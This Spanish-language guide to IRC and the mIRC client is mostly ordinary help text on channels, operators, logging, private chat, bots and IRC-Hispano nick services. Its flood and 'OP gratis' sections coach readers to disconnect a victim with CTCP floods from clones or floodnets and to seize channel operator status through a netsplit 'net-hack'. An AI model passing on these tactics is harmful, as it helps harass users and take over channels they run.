controlan el canal, decidiendo quien puede tener acceso (expulsando permanentemente ("banning") algunos usuarios, quien debe salir del canal , expulsando ("kicking") algunos usuarios, y hasta quien tiene derecho a hablar! Los operadores de un canal tienen el control completo del canal, y sus decisiones son definitivas. Si usted es expulsado permanentemente, mándele un mensaje a un operador pidiéndole de buena manera que le permita volver a entrar en el canal. Pueden haber varios OP's en un canal. En la lista de gente que esta en un canal, se distinguen los OP, porque su nick lleva delante el signo @. Solo hay una forma de llegar a ser OP del canal en el que se encuentre, y es que uno de los OP del canal le haga OP a usted. ¿? Y quien les ha hecho OP's a ellos ? Cuando se crea un canal nuevo, se entra como OP del mismo. Así que seguramente uno de los Op's del canal fue el que creo el canal. ¿ Que es un IRCOP ?

Los servidores IRC son cuidados por operadores de IRC, o "IRC ops." Los operadores IRC administran los servidores y no se envuelven en asuntos personales en los canales. No son "policías del IRC." o no deberían serlo. Estos usuarios son op en todos los canales donde entren. ¿ Qué es el "modo invisible" ? Existe una forma especial de estar en el IRC, llamada "modo invisible". Bueno no se hagan ilusiones, si esta pensando que esto le permitira estar dentro de un canal, incluso participando en el, sin que los demas lo vean, algo asi como una especie de fantasma, PUES NO, ESO NO SE PUEDE HACER (¡ y menos mal !). El "modo invisible" consiste en que si usted esta en modo invisible y alguien consulta desde fuera del canal el listado de personas que hay en el (usando el comando /names #canal o /who #canal) no le vera. Sin embargo, si entra en el canal, si que le vera. Tambien si alguien intenta un /whois nick, le vera aunque este en modo invisible. Tambien si alguien le tiene en su "notify" (una lista de gente, cuya presencia en IRC, queremos que nos sea notificada por el mIRC) tambien se enterara. ¿ De que sirve entonces estar en "modo invisible" ? Pues la verdad, ciertamente de poco, solo añade un poco de discrecion por su parte, poniendo las cosas un poquitito mas dificiles a quien le ande buscando. Para ponerse en modo invisible use el comando... /mode nick +i Ejemplos: Si su nick es Byte y quiere estar en modo invisible debera hacer esto... /mode Byte +i ¿ Como puedo grabar las conversaciones ? El miRC puede registrar en un fichero toda la actividad que se produce en un canal. Esto le permitirá mas tarde, si en estar en línea, ver tranquilamente lo que se dijo o paso, incluso conseguir aquella dirección de correo o URL que alguien comento y que usted no recordaba. Existen dos formas básicas de proceder... Puede activar la opción de registrar todos los canales y privados SIEMPRE (y desactivar si desea algún canal) o mantener desactivada la opción de registro automático, y manualmente activar la opción de registro de un canal, cuando lo desee. Método 1: (Activar la opción de registro automático de todo, siempre) (LO MEJOR) En la ventana de opciones del mIRC, elija la pestaña "Logging" y vera algo parecido.. Método 2: (activar/desactivar la opción de registro manualmente) Estando en un canal o privado use el comando /log on para activar el registro y el comando /log off para desactivarlo el registro de ese canal. Tenga en cuenta que si tiene el registro automático activado (según el método 1) solo tiene sentido la opción de desactivar el registro para un canal especifico. Es decir, no existe un comando para activar el registro automático de todos los canales. ¿ Que significa "caerse" del IRC ? Quiere decir que te desconectas de forma involuntaria del servidor IRC que uso para entrar, es decir ya no esta en el IRC, y tiene que volver a entrar. Las razones de ello pueden ser muy

diversas. Por ejemplo, si usted entra en el IRC y no hace nada durante un cierto periodo de tiempo, por ejemplo, entra en un canal y se queda leyendo los mensajes de los demas, pero no participa, el servidor le desconectara (por "iddle"). Otras veces puede ser un simple fallo del servidor, que hara que su conexion al IRC se interrumpa. ¿ Como puedo enterarme de que alguien que conozco ha entrado en el IRC ? La "Notify List" es una lista donde puede poner los nicks de la gente que conozca. De esta forma el mIRC le avisara de su presencia en el momento que entren en el IRC. Tambien cuando usted entre el mIRC le avisara si alguno de los nicks de su lista esta en el IRC. Para añadir un nick a la Notify List debe hacer lo siguiente. Metodo 1 Saldra la ventana de opciones del mIRC, en ella elija la pestaña "Notify List" Ejemplo Si usted ha añadido el nick jaav a su "Notify List" , cuando alguien con este nick entre en el IRC, en la ventana del canal en que se encuentre usted en ese momento, el mIRC le mostrara un aviso parecido al este... *** jaav is on IRC Tenga en cuenta, que para que los avisos se realicen en la ventana activa (esto es lo mas comodo) debera activar la opción "Show notifies in active window" Metodo 2 Una forma bastante mas rapida de añadir un nick a su "Notify List" es usar el comando /notify nick [nota aclaratoria] Ejemplo Si desea añadir el nick jaav a su "Notify List" use el siguiente comando... /notify jaav Jose Andres Alegre Comandos relacionados... La Notify List tambien puede ser manejada mediante comandos, desde cualquier ventana de canal o query, sin necesidad de acudir a las opciones. El comando /notify Usted también puede agregar/quitar nicks de la lista de notificación usando el comando /notify. /notify [-shr] on|off|nick [nota] Usted puede activar o desactivar las notificaciones escribiendo /notify on o bien /notify off respectivamente.

Las opciones -sh pueden ser usadas para mostrar u ocultar la ventana con la lista de notificaciones respectivamente. La nota es optativa y le permite especificar una pequeña anotacion sobre cada usuario. Si usted antepone el simbolo + frente a un nick, mIRC hara un /whois en ese nick como parte de la notificación.Sin embargo, si usted hace esto en muchos nicks, entonces el servidor IRC podría desconectarle por saturación, por tanto, lo mejor es usar esto solamente cuando se necesita de verdad. Usted puede obligar manualmente al mIRC a actualizar su lista usando el comando /notify sin parámetros. Ejemplos: Para añadir el nick Byte a su notify para que el mIRC le avise de su presencia en el IRC, use el siguiente comando... /notify Byte El autor de La Guía mIRC Lo mismo pero de forma que el mIRC haga un /whois cada vez que le avise de la presencia... /notify +Byte El autor de La Guía mIRC NOTA:Algunas redes de IRC podrían permitirle usar una dirección completa en vez de un nick.La única forma de saber esto es probándolo. ¿Como puedo hablar en privado con alguien ? Cuando usted escribe en un canal, todos las personas que estan en el pueden leer sus mensajes, pero si quiere hablar con alguien de forma que privada, debera hacer lo siguiente... Metodo 1 Haga un doble-click sobre el nick con el quiere hablar en privado. mIRC abrira una ventana (ventana de privado), y todo lo que escriban en ella solo lo vera esa persona y usted. Metodo 2 Ejecute el comando /query nick, para crear la ventana de privado. En esa ventana podran dialogar usted y su interlocutor a solas. Ejemplo Para comennzar un privado con una persona cuyo nick es SAM, ejecute el siguiente comando... /query SAM Metodo 3

Existe un tercer metodo de establecer una coversacion privada con alguna persona presente en el IRC, un poco especial... se trata del DCC CHAT, cuyo significado vendria a ser algo como "Charla directa Cliente-Cliente". ¿ Como ? ¿ Que es un bot ? El termino bot viene de RoBOT. La mejor forma de comprender lo que es un bot, es la siguiente... Imaginese que usted conecta con el IRC, y se mantiene conectado permanentemente, ademas usted, no interviene para nada, aunque podria hacerlo, sino que es su mIRC el que automaticamnete responde a las acciones de los demas, aunque evidentemente no mantiene ningun tipo de conversacion inteligente, pero si que puede hacer OP a otros, saludar a los que entran en un canal, y realizar otro tipo de acciones. Bueno, pues eso es un bot. Es decir una especie de robot, o mIRC automatizado (mediante un script), que esta siempre conectado al iRC. Los bots se suelen emplear para mantener siempre abiertos los canales registrados (El canal nunca se cierra porque el canal nunca se vacia, ya que el bot siempre se queda). Son usados generalmente por los administradores del IRC (Ircops) para sus tareas de gestion del IRC. Pueden hacer OP automaticamente a las personas que entran en un canal y que reconocen como OP's registrados del canal. Y otras muchas cosas. De broma, se suele llamar bot a aquella persona que pasa tanto tiempo en el IRC, que parece que este siempre en el. ¿ Que es un clon ? El termino clon viene de la palabra clonico (identico). Y consiste en una persona ha entrado en el irc con dos o mas nicks diferentes. De esta forma usted podria estar en un canal y observar que ademas de usted hay dos personas mas en el canal, una con el nick Byte y otra con el nick SAM, pero Byte y SAM son la misma persona!! En ese caso SAM es un clon de Byte (o viceversa). Mucha gente en sus primeros pasos en el IRC, puede caer en "trampas" de este tipo, en las que se le hace pensar que esta hablando con dos personas distintas, cuando realmente lo esta haciendo con una sola. Muchas veces el termino clon y bot se confunden porque el clon (la copia de uno mismo) actua como un robot (bot) a las ordenes del "original" o "principal". En ese caso tendriamos un clon que es un bot. ¿ Como determinar si en el canal existe algun clon ? Sin la ayuda de un script, es muy laborioso, aunque no es dificil. Si existe una persona en el canal donde nos encontramos, que esta usando dos nicks (es decir tiene un clon) toda la informacion que relativa a cada uno de los nick sera seguramente diferente, asi que mediante un /whois no podremos descubrilo. Pero existe algo que es igual para los dos nicks, pues ambos coresponden a una misma conexion a Internet y es la IP. Asi que si pedimos la IP de cada uno de los nicks sospechosos y coinciden, es seguro que son un clon. Para determinar la IP de un nick debera usar el comando /dns nick ¿ Como hacer un clon ?

Para hacer un clon, es decir para poder estar en el IRC con dos nicks diferentes a la vez, debera seguir uno de estos dos procedimientos... Metodo 1: Si utiliza Win95 y un miRC de 32 bits 1º Entre en el IRC de la forma normal 2º Luego arranque otra copia del mIRC y conecte con otro servidor distinto (Es decir se trata de usar dos copias del programa mIRC a la vez y conectar con cada una de ellas Los clones normalmente se usan en la guerra, es decir para molestar a alguien o a a lgun canal, o para confundir a algun novato. Aunque tambien hay quien los usa para hacer pruebas. ¿ Que es un script ? El mIRC tiene algunas secciones programables. Se le pueden añadir menus y crear acciones complejas y dejarlas grabadas al estlio de macros o pequeñas rutinas. Un script es pues esto, un conjunto de comandos que se añaden al mIRC y que usted puede ejecutar cuando desee, consiguiendo hacer algunas cosas que de otra forma serian mucho mas lentas de realizar o mucho mas dificiles. Existen muchos tipos de scripts, los hay especializados en mostrar bonitos dibujos o textos. Aunque la mayoria son de guerra. Un script de guerra (ataque-defensa) tiene comandos que le permitiran tirar a otra persona del IRC (es decir desconectarlo) o evitar que le tiren a usted. Ademas incluira otras opciones para simplificar o hacer mas rapido el uso del mIRC. Un consejo, antes de instalar un script, dedique un tiempo a aprender los comandos del mIRC "a pelo". Los scripts tienen un efecto parecido a las calculadoras, nos vuelven vagos y provocan que se nos olviden algunas tecnicas que realmente son basicas e imprescindibles. Piense que tal vez algun dia no tenga su script a mano y si no sabe realmente usar el mIRC "tal cual" estara realmente perdido. Hay miles de scripts, aunque la verdad es que muchos son simplemente copias de otros. Los creadores de scripts no tienen forma de proteger sus creaciones. Incluso usted puede instalar un script y estudiarlo y modificarlo a su gusto. Pero cambiarlo, poner su nombre en los creditos y ofrecerlo por ahi como suyo no esta bien. Otra cosa...tenga precaucion con los scripts. Como programas que son, pueden incluir algun "troyano", es decir, una parte de su codigo puede hacer cosas malvadas, como por ejemplo hacer que alguin mas tenga acceso a su cuenta, leer su correo, borrar sus archivos, etc. Esto no es lo normal. Normalmente la gente que crea scripts es por lo general bien intencionada, pero tenga precaucion con el script que escoje e informese antes sobre el. ¿ Como puedo copiar algun mensaje aparecido en el canal ? En muchas partes del miRC para copiar algo al portapapeles (para luego pegarlo en otro sitio) tendra que utilizar el metodo tradicional, es decir marcarlo con el raton, y luego pulsar CTRL+C. Pero en la ventana de un canal o de un privado, si usted desea copiar algo que alguien ha escrito, SOLO TENDRA QUE MARCARLO CON EL RATON, cuando suelte el texto YA ESTARA EN EL PORTAPAPELES. Para pegarlo en otro sitio, use la combinacion de teclas CTRL+V. Por ejemplo, puede copiar algun texto aparecido en el canal, para repetirlo. En ese caso marquelo, coloquese en el la caja de texto dle canal y pulse CTRL+V.

Puede copiar algo aparecido en su ventana de status, y luego pegarlo en el canal, para que el resto de personas lo vean. Si alguin escribe un direccion de una pagina, puede copiarla, marcandola con el raton, y luego pegarla en la caja de la direccion del navegador web que utilize, asi no tendra que teclearla. ¿ Como puedo repetir lo que he escrito ? El miRC almacena en un buffer todos los comandos y mensajes que vamos escribiendo en cada ventana. Y al estilo del DOSKEY de MS-DOS, podemos recuperar rapidamente cualquier mensaje anterior, para volver a lanzarlo, pulsando de nuevo ENTER. La combinacion de teclas depende de si esta en modo de linea simple o en modo multilinea. Si esta en modo de linea simple: Pulse las flechas ariba o abajo Si esta en modo multilinea: Pulse CTRL + las las flechas arriba o abajo Puede cambiar el modo de linea en File-Options-Extras, y active o desactive la casilla "Multi-line editbox". ¿ Como puedo hacer sonar un sonido dentro del canal ? Antes de empezar con eso comprenda esto perfectamente... Cuando usted active un sonido (un fichero mid o wav) SOLO LO OIRAN LOS QUE TENGAN ESE SONIDO EN SU ORDENADOR (es decir que tengan el mismo fichero). Al reves, si alguien en un canal, activa un sonido, usted solo lo oira si tiene ese fichero en su ordenador. Es decir, lo que hace el miRC de la persona que activa el sonido es mandar una especie de "orden" o "peticion" al resto de miRC's (al suyo y a los demas del canal) para que activen el fichero de sonido en sus equipos. Y si no lo tienen no sonara. Si alguien activa un sonido y usted no lo tiene, vera en el canal un mensaje de advertencia. Ejemplo: Si esta usted en un canal y un usuario llamado klonone activa un sonido (bohemian.mid) y usted no lo tiene, vera algo parecido a esto... * Sound request: can't find [bohemian.mid] [klonone SOUND] Para hacer activar un sonido use el siguiente comando... /splay fichero_de_sonido Ejemplo: Esta usted en un canal y desea poner un poco de musica. Por ejemplo, activar el sonido, spice.mid. Pare ello haga lo siguiente... /splay spice.mid Recuerde que el fichero debera estar en la carpeta donde le dijo al miRC que buscara los sonidos o en una subcarpeta de esta, si no es asi el miRC no lo encontrara, a menos que indique su localizacion, por ejemplo...

/splay c:\sonidos\spice.mid ¿ Como puedo parar un sonido ? Cuando algun usuario active un fichero de sonido, este sonara en su equipo hasta que se acabe. Pero si le resulta especialmente molesto...puede pararlo usando el comando /splay stop FLOOD (UN CLASICO) Los servidores IRC tienen que controlar el tráfico de entrada (el que proviene del exterior) para evitar su congestión. Una de las formas de conseguirlo es no permitir que un cliente le mande más de una determinada cantidad de información en un pequeño intervalo de tiempo; o lo que es lo mismo: la velocidad con que un cliente puede enviar datos al servidor está limitada. Cuando un cliente supera el límite preestablecido por el servidor, éste cierra la conexión con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo "explica" así: [1:59] *** ^TkLaS^ has quit IRC (Excess Flood) Un flood, en general, no es otra cosa que mandar mucha información en poco tiempo a alguien para intentar que se sature. La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de información a nuestra víctima, de forma que ésta, al contestar, supere el límite del servidor y éste lo eche. Por ejemplo, si le mandamos muchos /ctcp version's seguidos (requiriendo información sobre el programa cliente que está utilizando) la víctima floodeará al servidor cuando conteste porque mandará muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticionó, i.e., al atacante). En esto del flood juega un papel muy importante el número de peticiones que se reciben en un pequeño intervalo de tiempo. Cuantas más se reciban, más posibilidades hay de que el flood tenga éxito. Por ello no es ninguna tontería mandar peticiones desde varios puntos a la vez, y no desde uno sólo, es decir, varios usuarios (¡que podrían ser una misma persona!) de la red IRC manden peticiones a la víctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma dirección IP) se habla de clones. Por tanto, una posible forma de ataque sería crearnos muchos clones y peticionar a la vez desde todos ellos a la víctima. Pero los servidores también suelen estar preparados para evitar muchos clones (cada clone ocupa, por decirlo de alguna manera, una "linea" de entrada al servidor, y esto consume recursos del mismo). Suele haber un máximo permitido (en el irc hispano es 2) denegándosele el acceso a la red a un tercer clone, o en caso de que éste lo consiguiese expulsándosele del servidor ("matándolo") (el programa servidor revisa periódicamente las IP's conectadas y detecta cuando hay varios usuarios con una misma dirección IP): [1:32] *** ^Virus^ has quit IRC (Killed (Clones!)) Se puede cambiar el número máximo de clones admisibles desde una determinada dirección IP o dominio añadiendo una I-Line al servidor IRC (en caso de no existir I-Line para esa dirección IP en particular se usa el máximo genérico definido). Esto lo debe hacer algún administrador de la red

IRC y es lo que habitualmente se usa para dar acceso a entidades con muchos ordenadores accediendo a Internet desde una misma IP (como es el caso de la mayoría de cyber-cafés). ¿Cómo provocar un flood con más de 2 clones entonces? La respuesta es simple: en principio no se puede. ¿Entonces? Pues la solución es que varias personas distintas se pongan de acuerdo para atacar a la vez a la víctima. Cada persona podría tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (víctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serían A.1, A.2, B.1, B.2, C.1 y C.2. Pero hay un problema: ¿cómo sincronizarse para atacar? ¿Cómo "ponerse de acuerdo" para mandar las peticiones en un determinado momento? Para esto existe lo que se denomina "floodnet" que, como habrá adivinado nuestro ávido lector, es una "red" (asociación) de gente cuyo único objetivo es floodear a alguien. La ventaja que tiene es que la sincroniza-ción entre los distintos componentes de la floodnet es automática (lo hacen los scripts) lo cual resuelve el problema anterior. También existe lo que se denomina "botnet" y que es análogo a la floodnet pero usando bots (no confundir con los "de servicio"; estos últimos los ponen los servers de la red irc y no los usuarios) los cuales serán lanzados desde alguna shell Unix (intérprete de comandos en una máquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados: [1:32] *** Viernes13 has quit IRC (Killed (You are not welcome to this network!)) Protección: Hoy en día, el flood es un ataque demasiado clasico pero eficiente, es por ello que tanto los programas clientes de IRC como los scripts implementan protecciones anti-flood que dificultan enormemente el éxito de un ataque de este tipo. Por ejemplo, cuando detectan varias peticiones seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no inmediatamente, con lo cual se evita el flood. Otra forma de evitarlo es cuando se detecta varias peticiones de un usuario, a este se lo ignora por un determinado tiempo. OP gratis Conseguir op sin que nadie te lo de: Cuando alguien se une a un canal donde no hay nadie (hace un /join #canal) el servidor supone que se trata de un nuevo canal y le da op a dicho usuario. Se dice que ha creado un canal. Vamos a aprovechar esto para hacernos con el op en un canal ya existente. ¿Cómo? Fácil: solo hay que aprovechar un net-split. Los pasos serían los siguientes: * Esperar un split (lo podemos detectar con un link-looker). * Entrar (conectar) al servidor spliteado. - /join #canal (donde canal es el canal donde queremos conseguir op). * El server creará un nuevo canal y tendrás el op. * Esperar a que se deshaga el split. Si "hay suerte" (leer más abajo), al deshacerse el split conservaremos el op en los restantes servidores (el servidor spliteado se encarga de dar las órdenes correspondientes). Entonces se dice que hemos llevado a cabo un "net-hack". Los usuarios presentes en el canal en el que hemos llevado a cabo la acción verán algo como: [1:41] *** irc.i3d.es sets mode: +o [-Mother-][-Fucker-] (donde el servidor que nos da op es el que antes estaba spliteado).

Esto no siempre funcionará porque hay aspectos que todavía no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habréis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionaría) ya que al entrar nosotros por el server spliteado veríamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los "esconde" el split) y por tanto el server no nos dará el op, como es habitual al entrar en cualquier canal ya existente. También hay que tener en cuenta que actualmente todos los servidores tienen protecciones antinethack. En este caso, al deshacerse el split, los restantes servidores te quitarán el op a tí en vez de ser al contrario (imponer tu op en los restantes servers), protegiendo al canal PERO ésto lo harán únicamente en caso de que ya hubiera ops en el canal antes de tu intento de net-hack (aunque hay veces en que el server se equivoca y mantiene tu op, quitándoselo a los demás). Es decir, que el net-hack funcionará sólo para canales donde no haya op ("opless channels"). Por esta razón, si queremos el op, necesitaremos tirar previamente a los ops para luego llevar a cabo el nethack. Para concluir, son pocas la posibilidades de lograr el proposito con exito, pero vale la pena intentarlo, ya que te puedes imaginar lo que podes llegar hacer con un op en un canal como Argentina. Algunos comandos... Entrar a un canal: /join #(canal) Entrar a un canal sabiendo la host o la owner: /join #(canal) (key) Salir del IRC:/quit Salir del IRC con mensaje: /quit (mensaje) Access a un canal: /access #(canal) add host (nick) Borrar todos los access: /access #(canal) clear Borrar el access de una persona: /access #(canal) del host (nick) *!* Todas la personas que entren tengan op: /access #(canal) add host * Agregar owner: /access #(canal) add onwer (nick) Cuando aguien entre que halla un mensaje: /prop #(canal) onjoin : (mensaje) Cuando alguien salga que halla un mensaje: /prop #(canal) onquit : (mensaje) Deopear a alguien: /mode #(canal) o- (nick) (tambien podes deopear a muchos haciendo esto: /mode #(canal) ooo- (nick) (nick) (nick) Opear alguien: lo mismo que el deop pero o+ Banear a alguien: /mode #(canal) +b (nick, host o su ip) Desbanear a alguien: lo mismo que banear pero bVer el topic del canal donde estas: /topic Ver topic de cualquier canal: /topic #(canal) Ver la ip de alguien: /dns (nick) Decir un mensaje a todo el canal y a los que estan en privado tambien: /me (mensaje) Ver info de alguien: /whois (nick) Pingear a alguien: /ping (nick) Colores: (cuando pongas ctrl+k te va a aparecer una barra con muchos colores y arriba de los colores numeros)lo que tenes que hacer es poner ctrl+k y poner el numero que quieras.... si lo queres con fondo y letra de color apreta ctrl+k y el numero,y despues pone un coma al lado y el otro numero,el primer numero es el fondo y el otro el color de la letra. Subrayado:ctrl+u Ver quien esta en un canal sin estar en el: /names #(canal) Cambiarte de nick : /nick (nick) Espero que les halla gustado,como ven una lista con estos comandos es dificil de conseguir, yo hice una, mucho no me costo, pero faltan muchos cosas mas como sacar un ip aleatoria del canal,el comando whowas y muchas cosas mas, esta lista la hice porque no sabia que poner, J

Comandos de los bots del IRC-Hispano CHAN / NICK / MEMO Bot de Nombres: NICK /msg NiCK HELP comando. REGISTER IDENTIFY ACCESS LINK SET DROP RECOVER RELEASE

Registra un nick Identificarse con su contraseña Modificar la lista de direcciones autorizadas Hacer su nick un alias de otro Ajustar opciones, incluyendo protección de kill Cancela el registro de un nick Desconecta a otro usuario que esta usando tu nick Toma custodia de su nick después de utilizar el comando RECOVER

Otros comandos: UNLINK, GHOST, INFO, LIST, STATUS

Sintaxis: REGISTER contraseña Registra su nick la base de datos de NiCK. Una vez registrado su nick, usted pude utilizar los comandos SET y ACCESS para configurar los parámetros de su nick como usted los desee. Asegúrese de recordar la contraseña que utilizo para registrarse--la necesitara para hacer cambios a su nick posteriormente. (Nótese que las mayúsculas importan FIDO, Fido, y fido son diferentes todas!) Sugerencias para escoger una contraseña: Contraseñas no deben ser fácil de adivinar. Por ejemplo, usar su verdadero nombre como contraseña es una mala idea. Utilizar su nick como contraseña es una idea peor ;) y, por supuesto que, NiCK no lo permitirá. También, contraseñas cortas son vulnerables a búsquedas de prueba y error, por lo que usted debe escoger una contraseña de por lo menos 5 caracteres. Finalmente, el carácter de "espacio" no se puede utilizar en contraseñas.

Sintaxis: IDENTIFY contraseña Notifica a NiCK que usted es el verdadero dueño de este nick. Muchos de los comandos requieren que usted se identifique con este comando antes de poder utilizarlos. La contraseña debe ser la misma que utilizo con el comando REGISTER.

Sintaxis: ACCESS ADD mascara ACCESS DEL mascara ACCESS LIST

Modifica o muestra la lista de acceso para su nick. Esta es la lista de direcciones que NiCK reconocerá automáticamente como validas para utilizar este nick. Si desea utilizar este nick desde otra dirección, necesita enviar el comando IDENTIFY para que NiCK lo reconozca a usted. Ejemplos: ACCESS ADD achurch@*.dragonfire.net Permite el acceso al usuario achurch de cualquier computadora en el dominio dragonfire.net. ACCESS DEL achurch@*.dragonfire.net Hace lo contrario de el comando anterior. ACCESS LIST Muestra la lista de acceso.

Sintaxis: LINK nick contraseña Liga su nick a otro, haciendo efectivamente un alias para el nick que usted utiliza actualmente con otro nick especificado. Cuando usted utiliza este comando, la lista de acceso de el nick que tiene es eliminada y reemplazada por la del nick con la que usted hace la liga; todos los mensajes para el nick actual son agregados a la lista de mensajes de el nick a ligar (esto puede causar que el nick se exceda en su limite de mensajes, en este caso necesitara borrar algunos de los mensajes antes de poder recibir nuevos mensajes para cualquiera de ambos nicks). Unas vez establecida la liga, su nick sera convertido transparentemente a el nick nuevo en todas las bases de datos de Services, excepto para los comandos NiCK UNLINK y DROP. Por ejemplo, puede utilizar cualquiera de los nicks para leer los mismos mensajes (y los mensajes que se envían a cualquier de los nicks irán a la misma lista). Si se identifica para un nick, automáticamente se identificara para el otro. Si cualquiera de ambos nicks esta en la lista de acceso de un canal, ambos nicks tendrán los mismos privilegios y accesos. Para utilizar este comando, usted debe de identificarse para su nick actual (usando el comando IDENTIFY), y debe proporcionar la contraseña para el nick al que desea ligar.

Sintaxis: UNLINK Elimina la liga de su nick hacia otro. Cuando la liga se elimina, los modos de un nick y la lista de acceso de el nick previamente ligado son copiados a su nick actual y pueden ser modificados independientemente. Mensajes no son copiados; todos los mensajes permanecen con el nick previamente ligado.

Sintaxis: SET opción parámetros Ajusta varios parámetros del nick. Una opción puede ser: PASSWORD Ajusta la contraseña de su nick

LANGUAGE URL EMAIL KILL SECURE PRIVATE HIDE

Ajusta el lenguaje que Services utilizara cuando envié mensajes a usted Asocia un URL con su nick Asocia una dirección de E-mail con su nick Activa/desactiva la protección de kill Activa/desactiva el modo SECURE para su nick Evita que su nick aparezca en /msg NiCK LIST Esconde ciertas informaciones sobre su nick

Para utilizar este comando es necesario identificarse antes con su contraseña (/msg NiCK HELP IDENTIFY para mayor información). Escriba /msg NiCK HELP SET opción para mayor información sobre una opción especifica.

Sintaxis: SET PASSWORD nueva-contraseña Cambia la contraseña que utiliza para identificarse como el dueño de el nick.

Sintaxis: SET LANGUAGE numero Cambia el lenguaje que Services utiliza cuando envía mensajes a usted (por ejemplo cuando responde a un comando que usted envió). numero debe ser escogido de la siguiente lista de lenguajes soportados: 1) English 2) ÆüËܸì¡ÊEUC¥³¡¼¥É¡Ë (Japanese / EUC encoding) 3) $BF|K\8l!J (BJIS $B%3!I!K (B (Japanese / JIS encoding) 4) "ú-{Œê iSJISƒR [ƒh j (Japanese / SJIS encoding) 5) Portugues (Portuguese) 6) Español (Spanish) 7) Turkce (Turkish)

Sintaxis: SET URL url Asocia un URL dado con su nick. Este URL sera mostrado cuando solicite información de su nick con el comando INFO.

Sintaxis: SET EMAIL dirección Asocia la dirección de E-mail dada con su nick. Esta dirección sera mostrada cuando alguien solicite información sobre su nick con el comando INFO.

Sintaxis: SET KILL {ON | QUICK | IMMED | OFF} Activa/desactiva la protección de kill para su nick. Con protección de kill activada, si algún otro usuario intenta utilizar tu nick, se le dará un minuto para que cambie a otro, si no sera removido forzosamente de IRC por NiCK. Si seleccione QUICK, el usuario solo tendrá 20 segundos para cambiar de nick en lugar de lo usual (60 segundos). Si seleccione IMMED, el usuario sera desconetcado (kill) inmediatamente sin ser avisado primero o darle una oportunidad de cambiar de nick, favor de no utilizar esta opción a menos que sea verdaderamente necesario. Los Administradores de la red pueden haber deshabilitado esta opción.

Sintaxis: SET SECURE {ON | OFF} Activa/desactiva las funciones de seguridad de NiCK para su nick. Con SECURE activado, usted debe de enviar su contraseña antes de que se le reconozca como el dueño de el nick, sin importar si su dirección este o no en la lista de acceso. Sin embargo, si aparece en la lista de acceso, NiCK no lo desconectara automáticamente, independientemente de como este la opción de KILL.

Sintaxis: SET PRIVATE {ON | OFF} Activa/desactiva la opción privacidad de NiCK sobre su nick. Con PRIVATE activado, su nick no aparecerá en las listas de nicks generadas con el comando NiCK LIST. (Sin embargo, cualquiera que conozca su nick puede obtener información usando el comando INFO.)

Sintaxis: SET HIDE {EMAIL | USERMASK | QUIT} {ON | OFF} Permite que usted evite que ciertas informaciones sean mostradas cuando alguien usa el comando NiCK INFO en su nick. Usted puede esconder su E-mail (EMAIL), ultima mascara user@host (USERMASK), o su ultimo mensaje de salida (QUIT). El segundo parámetro specifica cual información debe ser mostrada (OFF) o escondida (ON).

Sintaxis: DROP Elimina su nick de la base de datos de NiCK. Un nick que ha sido eliminado esta disponible para que cualquier persona lo vuelva a registrar. Para utilizar este comando , usted tiene que identificarse con su contraseña (/msg NiCK HELP IDENTIFY para mayor información).

Sintaxis: RECOVER nick [contraseña]

Permite que usted recupere su nick si alguien mas lo ha tomado; esto es lo mismo que NiCK hace automáticamente si alguien intenta utilizar un nick protegido con kill. Cuando usted envía este comando, NiCK conectara en línea a un usuario falso con el mismo nick que el usuario que usted desea recuperar. Esto causara que los servidores de IRC desconecten al otro usuario. El usuario falso permanecerá en línea por un minuto para asegurar que el otro usuario no se reconecte inmediatamente; después de ese minuto, usted puede tomar su nick. Alternativamente, use el comando RELEASE (/msg NiCK HELP RELEASE) para obtener su nick mas rápido. Para usar el comando RECOVER para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick.

Sintaxis: RELEASE nick [contraseña] Ordena a NiCK eliminar cualquier espera en su nick causada por un kill automático de protección o por el uso de el comando RECOVER. Por default, la espera dura un minuto; este comando lo libera mas rápidamente. Para usar el comando RELEASE para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick.

Sintaxis: GHOST nick [contraseña] Elimina una sesión "fantasma" de IRC que este utilizando su nick. Una sesión "fantasma" es aquella que no esta realmente conectada, pero que un servidor de IRC acredita como activa por cualquier razón. Típicamente esto sucede si su computadora se atora o su conexión a Internet se desconecta por un periodo corto mientras esta en IRC. Para usar el comando GHOST para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick.

Sintaxis: INFO nick Muestra información sobre un nick dado, como el quien es el dueño, ultima dirección utilizada y hora, y las diferentes opciones del nick.

Sintaxis: LIST patrón Lista todos los nicks registrados que concuerdan con un patrón dado en formato nick!user@host. Nicks con la opción de PRIVATE activada no serán mostrados.

